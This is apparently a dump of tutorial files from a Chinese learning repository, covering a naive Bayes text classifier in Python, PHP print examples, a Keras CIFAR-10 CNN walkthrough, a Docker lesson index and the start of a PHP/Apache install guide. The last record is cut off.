py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程 </a></li>\n<li><a href=\"./intro.html\"> 机器学习 简介 </a></li>\n<li><a href=\"./feature-engineering.html\"> 机器学习 特征工程 </a></li>\n<li><a href=\"./feature-extraction.html\"> 机器学习 特征提取 </a></li>\n<li><a href=\"./feature-preprocessing.html\"> 机器学习 特征预处理 </a></li>\n<li><a href=\"./feature_selection.html\"> 机器学习 特征选择 </a></li>\n<li><a href=\"./feature_selection.html\"> 机器学习 特征选择 </a></li>\n<li><a href=\"./metrics.html\"> 机器学习 模型评估 </a></li>\n<li><a href=\"./dataset-split.html\"> 机器学习 数据集划分 </a></li>\n<li><a href=\"./dataset-split.html\"> 机器学习 数据集划分 </a></li>\n<li><a href=\"./knn.html\"> 机器学习算法 K近邻(KNN) </a></li>\n<li><a href=\"./nb.html\"> 机器学习算法 朴素贝叶斯 </a></li>\n<li><a href=\"./dt.html\"> 机器学习算法 决策树 </a></li>\n<li><a href=\"./rf.html\"> 机器学习算法 集成学习-随机森林 </a></li>\n<li><a href=\"./lr.html\"> 机器学习算法 线性回归 </a></li>\n<li><a href=\"./logstic.html\"> 机器学习算法 逻辑回归 </a></li>\n<li><a href=\"./ridge.html\"> 机器学习算法 岭回归 </a></li>\n<li><a href=\"./k-means.html\"> 机器学习算法 聚类-KMeans </a></li>\n<li><a href=\"./fitting.html\"> 机器学习模型 欠拟合与过拟合 </a></li>\n<li><a href=\"./save-load.html\"> 机器学习模型 保存与加载 </a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>朴素贝叶斯</h1>\n<h2>朴素贝叶斯 概述</h2>\n<p>贝叶斯分类是一类分类算法的总称,这类算法均以贝叶斯定理为基础,故统称为贝叶斯分类。本章首先介绍贝叶斯分类算法的基础——贝叶斯定理。最后,我们通过实例来讨论贝叶斯分类的中最简单的一种: <strong>朴素贝叶斯分类</strong>。</p>\n<h2>概率基础</h2>\n<h3>概率(Probability)定义</h3>\n<ul>\n<li>概率定义为一件事情发生的可能性</li>\n<li>扔出一个硬币,结果头像朝上</li>\n<li>某天是晴天</li>\n<li>$$P(X)$$ : 取值在[0, 1]</li>\n</ul>\n<p>那么其中有些问题我们计算的结果不正确,或者不知道计算,我们有固定的公式去计算</p>\n<h3>条件概率与联合概率</h3>\n<ul>\n<li>联合概率:包含多个条件,且所有条件同时成立的概率</li>\n<li>记作:$$P(A,B)$$</li>\n<li>特性:$$P(A, B) = P(A)P(B)$$</li>\n<li>条件概率:就是事件A在另外一个事件B已经发生条件下的发生概率</li>\n<li>记作:$$P(A|B)$$</li>\n<li>特性:$$P(A1,A2|B) = P(A1|B)P(A2|B)$$</li>\n</ul>\n<blockquote>\n<p>注意:此条件概率的成立,<strong>是由于A1,A2相互独立的结果</strong>(记忆)</p>\n</blockquote>\n<p>这样我们计算结果为:\n$$p(程序员, 匀称) = P(程序员)P(匀称) =3/7*(4/7) = 12/49 $$\n$$P(产品, 超重|喜欢) = P(产品|喜欢)P(超重|喜欢)=1/2 * 1/4 = 1/8$$</p>\n<p><strong>那么,我们知道了这些知识之后,继续回到我们的主题中。朴素贝叶斯如何分类,这个算法经常会用在文本分类,那就来看文章分类是一个什么样的问题?</strong></p>\n<p><img alt=\"文章分类引入\" src=\"./images/文章分类引入.png\" /></p>\n<p>这个了类似一个条件概率,那么仔细一想,给定文章其实相当于给定什么?结合前面我们将文本特征抽取的时候讲的?所以我们可以理解为</p>\n<p><img alt=\"文章分类引入2\" src=\"./images/文章分类引入2.png\" /></p>\n<p><strong>但是这个公式怎么求?前面并没有参考例子,其实是相似的,我们可以使用贝叶斯公式去计算</strong></p>\n<h3>朴素贝叶斯场景</h3>\n<p>机器学习的一个重要应用就是文档的自动分类。</p>\n<p>在文档分类中,整个文档(如一封电子邮件)是实例,而电子邮件中的某些元素则构成特征。我们可以观察文档中出现的词,并把每个词作为一个特征,而每个词的出现或者不出现作为该特征的值,这样得到的特征数目就会跟词汇表中的词的数目一样多。</p>\n<p>朴素贝叶斯是上面介绍的贝叶斯分类器的一个扩展,是用于文档分类的常用算法。下面我们会进行一些朴素贝叶斯分类的实践项目。</p>\n<h2>项目案例1: 屏蔽社区留言板的侮辱性言论</h2>\n<h4>项目概述</h4>\n<p>构建一个快速过滤器来屏蔽在线社区留言板上的侮辱性言论。如果某条留言使用了负面或者侮辱性的语言,那么就将该留言标识为内容不当。对此问题建立两个类别: 侮辱类和非侮辱类,使用 1 和 0 分别表示。</p>\n<h4>开发流程</h4>\n<ul>\n<li>收集数据: 可以使用任何方法</li>\n<li>准备数据: 从文本中构建词向量</li>\n<li>分析数据: 检查词条确保解析的正确性</li>\n<li>训练算法: 从词向量计算概率</li>\n<li>测试算法: 根据现实情况修改分类器</li>\n<li>使用算法: 对社区留言板言论进行分类</li>\n</ul>\n<h4>收集数据: 可以使用任何方法</h4>\n<pre><code class=\"python\">#本例是我们自己构造的词表\n\n#从numpy中导入所需的函数\nfrom numpy import array,ones,log\n#词表到向量的转换函数\ndef loadDataSet():\n postingList = [['my','dog','has','flea','problems','help','please'],\n ['maybe','not','take','him','to','dog','park','stupid'],\n ['my','dalmation','is','so','cute','I','love','him'],\n ['stop','posting','stupid','worthless','garbage'],\n ['mr','licks','ate','my','steak','how','to','stop','him'],\n ['quit','buying','worthless','dog','food','stupid']]\n classVec = [0,1,0,1,0,1] #1,侮辱 0,正常\n return postingList,classVec\nloadDataSet()\n</code></pre>\n\n<h4>准备数据: 从文本中构建词向量</h4>\n<pre><code class=\"python\">def createVocabList(dataSet):\n vocabSet = set([]) #调用set方法,创建一个空集\n for document in dataSet:\n vocabSet = vocabSet | set(document) #创建两个集合的并集\n return list(vocabSet)\n\ndef setOfWords2Vec(vocabList,inputSet):\n returnVec = [0]*len(vocabList) #创建一个所含元素都为0的向量\n for word in inputSet:\n if word in vocabList:\n returnVec[vocabList.index(word)] = 1\n else:\n print(&quot;the word:%s is not in my Vocabulary&quot; % word)\n return returnVec\n\n\ndef bagOfWords2VecMN(vocabList,inputSet):\n returnVec = [0]*len(vocabList) #创建一个所含元素都为0的向量\n for word in inputSet:\n if word in vocabList:\n returnVec[vocabList.index(word)] += 1\n return returnVec\ncreateVocabList,setOfWords2Vec,bagOfWords2VecMN\n</code></pre>\n\n<h4>分析数据: 检查词条确保解析的正确性</h4>\n<p>检查函数执行情况,检查词表,不出现重复单词,需要的话,可以对其进行排序。</p>\n<pre><code class=\"python\">%pprint on\nlistOPosts, listClasses = loadDataSet()\nmyVocabList = createVocabList(listOPosts)\nmyVocabList\n</code></pre>\n\n<pre><code class=\"python\">print(setOfWords2Vec(myVocabList, listOPosts[0]))\n</code></pre>\n\n<h4>训练算法: 从词向量计算概率</h4>\n<p>现在已经知道了一个词是否出现在一篇文档中,也知道该文档所属的类别。接下来我们重写贝叶斯准则,将之前的 x, y 替换为 w. 粗体的 w 表示这是一个向量,即它由多个值组成。在这个例子中,数值个数与词汇表中的词个数相同。</p>\n<p>重写贝叶斯准则</p>\n<p>我们使用上述公式,对每个类计算该值,然后比较这两个概率值的大小。</p>\n<p>问: 上述代码实现中,为什么没有计算P(w)?</p>\n<p>答:根据上述公式可知,我们右边的式子等同于左边的式子,由于对于每个ci,P(w)是固定的。并且我们只需要比较左边式子值的大小来决策分类,那么我们就可以简化为通过比较右边分子值得大小来做决策分类。</p>\n<p>首先可以通过类别 i (侮辱性留言或者非侮辱性留言)中的文档数除以总的文档数来计算概率 p(ci) 。接下来计算 p(w | ci) ,这里就要用到朴素贝叶斯假设。如果将 w 展开为一个个独立特征,那么就可以将上述概率写作 p(w0, w1, w2...wn | ci) 。这里假设所有词都互相独立,该假设也称作条件独立性假设(例如 A 和 B 两个人抛骰子,概率是互不影响的,也就是相互独立的,A 抛 2点的同时 B 抛 3 点的概率就是 1/6 * 1/6),它意味着可以使用 p(w0 | ci)p(w1 | ci)p(w2 | ci)...p(wn | ci) 来计算上述概率,这样就极大地简化了计算的过程。</p>\n<p>朴素贝叶斯分类器训练函数</p>\n<pre><code class=\"python\">#朴素贝叶斯分类器训练集\ndef trainNB0(trainMatrix,trainCategory): #传入参数为文档矩阵,每篇文档类别标签所构成的向量\n numTrainDocs = len(trainMatrix) #文档矩阵的长度\n numWords = len(trainMatrix[0]) #第一个文档的单词个数\n pAbusive = sum(trainCategory)/float(numTrainDocs) #任意文档属于侮辱性文档概率\n #p0Num = zeros(numWords);p1Num = zeros(numWords) #初始化两个矩阵,长度为numWords,内容值为0\n p0Num = ones(numWords);p1Num = ones(numWords) #初始化两个矩阵,长度为numWords,内容值为1\n #p0Denom = 0.0;p1Denom = 0.0 #初始化概率\n p0Denom = 2.0;p1Denom = 2.0 \n for i in range(numTrainDocs):\n if trainCategory[i]==1:\n p1Num +=trainMatrix[i]\n p1Denom += sum(trainMatrix[i])\n else:\n p0Num +=trainMatrix[i]\n p0Denom += sum(trainMatrix[i])\n #p1Vect = p1Num/p1Denom #对每个元素做除法\n #p0Vect = p0Num/p0Denom\n p1Vect = log(p1Num/p1Denom)\n p0Vect = log(p0Num/p0Denom)\n return p0Vect,p1Vect,pAbusive\ntrainNB0\n</code></pre>\n\n<h4>测试算法: 根据现实情况修改分类器</h4>\n<p>在利用贝叶斯分类器对文档进行分类时,要计算多个概率的乘积以获得文档属于某个类别的概率,即计算 p(w0|1) * p(w1|1) * p(w2|1)。如果其中一个概率值为 0,那么最后的乘积也为 0。为降低这种影响,可以将所有词的出现数初始化为 1,并将分母初始化为 2 (取1 或 2 的目的主要是为了保证分子和分母不为0,大家可以根据业务需求进行更改)。</p>\n<p>另一个遇到的问题是下溢出,这是由于太多很小的数相乘造成的。当计算乘积 p(w0|ci) * p(w1|ci) * p(w2|ci)... p(wn|ci) 时,由于大部分因子都非常小,所以程序会下溢出或者得到不正确的答案。(用 Python 尝试相乘许多很小的数,最后四舍五入后会得到 0)。一种解决办法是对乘积取自然对数。在代数中有 ln(a * b) = ln(a) + ln(b), 于是通过求对数可以避免下溢出或者浮点数舍入导致的错误。同时,采用自然对数进行处理不会有任何损失。</p>\n<p>下图给出了函数 f(x) 与 ln(f(x)) 的曲线。可以看出,它们在相同区域内同时增加或者减少,并且在相同点上取到极值。它们的取值虽然不同,但不影响最终结果。</p>\n<pre><code class=\"python\">#朴素贝叶斯分类函数\ndef classifyNB(vec2Classify,p0Vec,p1Vec,pClass1):\n p1 = sum(vec2Classify * p1Vec) + log(pClass1) #元素相乘\n p0 = sum(vec2Classify * p0Vec) + log(1.0 - pClass1)\n if p1&gt;p0:\n return 1\n else:\n return 0\n\ndef testingNB(testinput):\n listOPosts,listClasses = loadDataSet() #产生文档矩阵和对应的标签\n myVocabList = createVocabList(listOPosts) #创建并集\n trainMat = [] #创建一个空的列表\n for postinDoc in listOPosts:\n trainMat.append(setOfWords2Vec(myVocabList,postinDoc)) #使用词向量来填充trainMat列表\n p0V,p1V,pAb = trainNB0(array(trainMat),array(listClasses)) #训练函数\n thisDoc = array(setOfWords2Vec(myVocabList,testinput)) #声明矩阵\n print(testinput,'classified as:',classifyNB(thisDoc,p0V,p1V,pAb))\nclassifyNB,testingNB\n</code></pre>\n\n<h4>使用算法: 对社区留言板言论进行分类</h4>\n<pre><code class=\"python\">testingNB(['love','my','dalmation'])\n</code></pre>\n\n<h2>总结</h2>\n<ul>\n<li>优点:</li>\n<li>朴素贝叶斯模型发源于古典数学理论,有稳定的分类效率。</li>\n<li>对缺失数据不太敏感,算法也比较简单,常用于文本分类。</li>\n<li>分类准确度高,速度快</li>\n<li>缺点:</li>\n<li>由于使用了样本属性独立性的假设,所以如果特征属性有关联时其效果不好</li>\n</ul>\n<h2>作业:</h2>\n<ul>\n<li>说明条件概率与联合概率</li>\n<li>说明贝叶斯公式、以及特征独立的关系</li>\n<li>记忆贝叶斯公式</li>\n<li>知道拉普拉斯平滑系数</li>\n<li>应用贝叶斯公式实现概率的计算</li>\n</ul>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.6020100712776184, "alphanum_fraction": 0.6150753498077393, "avg_line_length": 11.425000190734863, "blob_id": "9ffe986d53a61612c93ecea88d671fb1bd720fed", "content_id": "1528aaa7e6f059010920d6993968ed683a1ed1b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1267, "license_type": "no_license", "max_line_length": 88, "num_lines": 80, "path": "/php/print.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# PHP print语句\n\n类似于PHP `echo`语句,PHP `print`是一个语言结构(因为有返回值,可以认为它是函数),所以也不需要使用括号和参数列表。 与`echo`不同,它总是返回`1`。\n\nPHP `print`的语法如下:\n\n```php\nint print(string $arg)\n```\n\nPHP print语句可以用来打印字符串,多行字符串,转义字符,变量,数组等。\n\n### 打印字符串\n\n文件名:print1.php\n```php\n<?php \n print \"Hello by PHP print \"; \n print (\"Hello by PHP print()\"); \n?>\n```\n\n```bash\nphp /share/lesson/php/print1.php\n```\n\nURL预览:`{url}/print1.php`\n\n### 打印多行字符串\n\n文件名:print2.php\n\n```php\n<?php \n print \"Hello by PHP print \nthis is multi line \ntext printed by \nPHP print statement \n\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/print2.php\n```\n\nURL预览:`{url}/print2.php`\n\n### 打印转义字符\n\n文件名:print3.php\n\n```php\n<?php \n print \"Hello escape \\\"sequence\\\" characters by PHP print\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/print3.php\n```\n\nURL预览:`{url}/print3.php`\n\n### 打印变量值\n\n文件名:print4.php\n\n```php\n<?php \n $msg=\"Hello print() in PHP\"; \n print \"Message is: $msg\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/print4.php\n```\n\nURL预览:`{url}/print4.php`\n\n" }, { "alpha_fraction": 0.5981241464614868, "alphanum_fraction": 0.6210622787475586, "avg_line_length": 32.14189147949219, "blob_id": "c436b3854bac8dbc715d7d54be25cc0f35689fe2", "content_id": "7016b69c56cfcf9372a2d2db30b127bbabc7c7a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 11877, "license_type": "no_license", "max_line_length": 198, "num_lines": 296, "path": "/keras/class_3.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>Keras入门课3:使用CNN识别cifar10数据集 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li>文章目录</li>\n<li><a href=\"./class_1.html\">Keras入门课1 -- 用MLP识别mnist手写字符</a></li>\n<li><a href=\"./class_2.html\">Keras入门课2 -- 使用CNN识别mnist手写数字</a></li>\n<li><a href=\"./class_3.html\">Keras入门课3 -- 使用CNN识别cifar10数据集</a></li>\n<li><a href=\"./class_4.html\">Keras入门课4 -- 使用ResNet识别cifar10数据集</a></li>\n<li><a href=\"./class_5.html\">Keras入门课5 -- 网络可视化及训练监控</a></li>\n<li>\n<p>知识点目录 数据处理相关</p>\n</li>\n<li>\n<p><a href=\"./class_1.html\">载入Keras中预置的数据库及数据库数据的基本变换</a></p>\n</li>\n<li><a href=\"./class_2.html\">根据不同的模型数据要求,给原始数据图像增加维度</a></li>\n<li>\n<p><a href=\"./class_3.html\">使用Keras内置的ImageDataGenerator来做数据增强</a></p>\n</li>\n<li>\n<p>知识点目录 模型相关(Model)</p>\n</li>\n<li>\n<p><a href=\"./class_1.html\">Sequential模型的定义,以及如何添加层</a></p>\n</li>\n<li><a href=\"./class_3.html\">另一种使用Sequential()构建模型的方法,更加的简单快捷</a></li>\n<li><a href=\"./class_4.html\">使用函数式模型(Functional)更加自由的构建模型</a></li>\n<li><a href=\"./class_4.html\">将通过Functional方式定义的层初始化为一个模型(Model)</a></li>\n<li><a href=\"./class_1.html\">使用compile对网络进行配置</a></li>\n<li><a href=\"./class_1.html\">使用fit方法来对小数据库进行训练</a></li>\n<li><a href=\"./class_3.html\">使用fit_generator来进行针对增强数据的训练</a></li>\n<li><a href=\"./class_1.html\">使用evaluate方法来对模型进行效果评估</a></li>\n<li>\n<p><a href=\"./class_3.html\">保存模型</a></p>\n</li>\n<li>\n<p>知识点目录 网络层相关(Layers)</p>\n</li>\n<li>\n<p><a href=\"./class_1.html\">如何对Dense层及Dropout层进行基本的配置</a></p>\n</li>\n<li><a href=\"./class_2.html\">Conv2D卷积层和MaxPooling2D池化层的使用</a></li>\n<li>\n<p><a href=\"./class_4.html\">使用keras.layers.add方法,将两个张量进行相加</a></p>\n</li>\n<li>\n<p>知识点目录 经典网络</p>\n</li>\n<li>\n<p><a href=\"./class_4.html\">搭建一个精简版的ResNet网络</a></p>\n</li>\n<li>\n<p>知识点目录 训练技巧</p>\n</li>\n<li>\n<p><a href=\"./class_4.html\">在训练中调用回调函数</a></p>\n</li>\n<li><a href=\"./class_4.html\">使用LearningRateScheduler在训练过程中动态的调节学习率</a></li>\n<li><a href=\"./class_4.html\">使用ModelCheckpoint保存checkpoint</a></li>\n<li>\n<p><a href=\"./class_4.html\">使用ReduceLROnPlateau在训练进入平台期的时候动态调节学习率</a></p>\n</li>\n<li>\n<p>知识点目录 其他</p>\n</li>\n<li>\n<p><a href=\"./class_5.html\">何用TensorBoard监控训练过程</a></p>\n</li>\n<li><a href=\"./class_5.html\">如何保存网络结构图</a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>Keras入门课3:使用CNN识别cifar10数据集</h1>\n<p>cifar10是一个日常物品的数据集,一共有10类,属于是比较小的数据集。这次用一个4个卷积层加2个全连接层的典型CNN网络来进行分类</p>\n<pre><code class=\"python\">import keras\nfrom keras.datasets import cifar10\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\n</code></pre>\n\n<p>↓首先载入cifar10数据集,和mnist数据集的载入方法一致,本地没有数据的话会先下载</p>\n<pre><code class=\"python\">(x_train,y_train),(x_test,y_test) = cifar10.load_data()\n</code></pre>\n\n<p>cifar10数据集图像大小是32*32的3通道彩图,训练集5万张,测试集1万张。和之前的mnist数据集不同,由于是彩色的,所以样本直接就是4维的。</p>\n<pre><code class=\"python\">print(x_train.shape,y_train.shape)\nprint(x_test.shape,y_test.shape)\n</code></pre>\n\n<pre><code class=\"python\">import matplotlib.pyplot as plt\nplt.imshow(x_train[0])\nplt.show()\nplt.imshow(x_train[1])\nplt.show()\n</code></pre>\n\n<p>可以看到数据读入没有问题,第一张是蛤蟆,第二张是一个卡车。</p>\n<p>↓规范化数据</p>\n<pre><code class=\"python\">x_train = x_train/255\nx_test = x_test/255\ny_train = keras.utils.to_categorical(y_train,10)\ny_test = keras.utils.to_categorical(y_test,10)\n</code></pre>\n\n<p>↓构建模型。之前构建模型都是先生成一个model,然后使用add方法来一层一层的加,现在用另一种更方便的方法。直接在Sequential初始化的时候按数组一个一个写进去就可以了。</p>\n<pre><code class=\"python\">model = Sequential([\n Conv2D(32,(3,3),padding='same',input_shape=(32,32,3),activation='relu'),\n Conv2D(32,(3,3),activation='relu'),\n MaxPooling2D(pool_size=(2,2)),\n Dropout(0.25),\n\n Conv2D(64,(3,3),padding='same',activation='relu'),\n Conv2D(64,(3,3),activation='relu'),\n MaxPooling2D(pool_size=(2,2)),\n Dropout(0.25),\n\n Flatten(),\n Dense(512,activation='relu'),\n Dropout(0.5),\n Dense(10,activation='softmax') \n])\n</code></pre>\n\n<pre><code class=\"python\">model.summary()\n</code></pre>\n\n<p>↓指定优化函数的参数</p>\n<pre><code class=\"python\">opt = keras.optimizers.rmsprop(lr=0.0001,decay=1e-6)\n</code></pre>\n\n<pre><code class=\"python\">model.compile(loss='categorical_crossentropy',\n optimizer=opt,\n metrics=['accuracy'])\n</code></pre>\n\n<h3>至此直接调用fit方法就可以进行训练了。但是为了模型更快的收敛以及更好的泛化性能,往往我们会对图像做一些变换,比如缩放、平移、旋转等等。下面我们要用keras自带的图像增强来对图像做一些变换</h3>\n<p>↓这里生成了一个数据增强器,包含了范围20°内的随机旋转,±15%的缩放以及随机的水平翻转。可调的参数还有很多,具体的可以查看文档。</p>\n<pre><code class=\"python\">datagen = ImageDataGenerator(\n rotation_range = 20,\n zoom_range = 0.15,\n horizontal_flip = True,\n)\n</code></pre>\n\n<pre><code class=\"python\"># datagen.fit(x_train) 只有使用featurewise_center,featurewise_std_normalization或zca_whitening时需要此函数\n</code></pre>\n\n<p>↓通过ImageDataGenerator生成的数据需要使用model的fit_generator方法来进行训练,其中的workers参数表示多线程运算。</p>\n<p>datagen的flow方法可以按批次的生成训练所需数据,注意这里生成的数据都是经过了数据增强的,并且是实时的。</p>\n<pre><code class=\"python\">model.fit_generator(datagen.flow(x_train,y_train,batch_size=64),steps_per_epoch = 1000,epochs = 2,\n validation_data=(x_test,y_test),workers=4,verbose=1)\n</code></pre>\n\n<p>↓保存模型,包括了模型的结构以及参数。后缀用h5</p>\n<pre><code class=\"python\">model.save('cifar10_trained_model.h5')\n</code></pre>\n\n<pre><code class=\"python\">scores = model.evaluate(x_test,y_test,verbose=1)\nprint('Test loss:',scores[0])\nprint('Test accuracy:',scores[1])\n</code></pre>\n\n<h3>总结</h3>\n<ol>\n<li>学习了一种新的使用Sequential()构建模型的方法,更加的简单快捷</li>\n<li>学习了使用Keras内置的ImageDataGenerator来做数据增强的方法</li>\n<li>调用model的fit_generator来进行针对增强数据的训练</li>\n<li>学习了如何保存模型</li>\n</ol>\n<p>本文代码链接:https://github.com/tsycnh/Keras-Tutorials/blob/master/class_3.ipynb</p>\n<p>参考</p>\n<blockquote>\n<p>https://github.com/keras-team/keras/blob/master/examples\nhttps://keras-cn.readthedocs.io/en/latest/preprocessing/image/</p>\n</blockquote>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.6762481331825256, "alphanum_fraction": 0.6762481331825256, "avg_line_length": 54.16666793823242, "blob_id": "01fb89854d34dbdc950435907ed3dad7716005cd", "content_id": "bd69a2b49b8ad1e578432ea8aabff8d8e34a13db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 771, "license_type": "no_license", "max_line_length": 62, "num_lines": 12, "path": "/docker/nav.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<li><a href=./intro.html>Docker 简介</a></li>\n<li><a href=./setup.html>Docker 环境安装及配置</a></li>\n<li><a href=./arch.html>Docker 架构</a></li>\n<li><a href=./conception.html>Docker 核心概念</a></li>\n<li><a href=./helloworld.html>Docker 运行第一个Docker容器</a></li>\n<li><a href=./container.html>Docker 容器操作(container)</a></li>\n<li><a href=./container-daemon.html>Docker 容器以后台方式运行</a></li>\n<li><a href=./image.html>Docker 镜像操作(image)</a></li>\n<li><a href=./dockerfile.html>Docker 构建镜像(dockerfile)</a></li>\n<li><a href=./repository-mirror.html>Docker 镜像加速</a></li>\n<li><a href=./repository.html>Docker 仓库操作(Repository)</a></li>\n<li><a href=./case-webapp.html>Docker Web应用实例</a></li>" }, { "alpha_fraction": 0.6654228568077087, "alphanum_fraction": 0.6840795874595642, "avg_line_length": 12.610169410705566, "blob_id": "d675462f66c3b10237d3c2566a90a35e3c2e2c87", "content_id": "65d649a065fbc0aa48e3327ed481c0497332314b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1100, "license_type": "no_license", "max_line_length": 49, "num_lines": 59, "path": "/php/setup.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# PHP 环境安装及配置\n## 本课程在线环境的安装\n\n### 安装PHP解析器,Apache2服务器\n\n```bash\n#更新源并安装php\napt update && apt-get install php apache2 -y\n\n\n#启动服务器\nservice apache2 start\n```\n```\n#apache2服务相关说明\n查看状态: service apache2 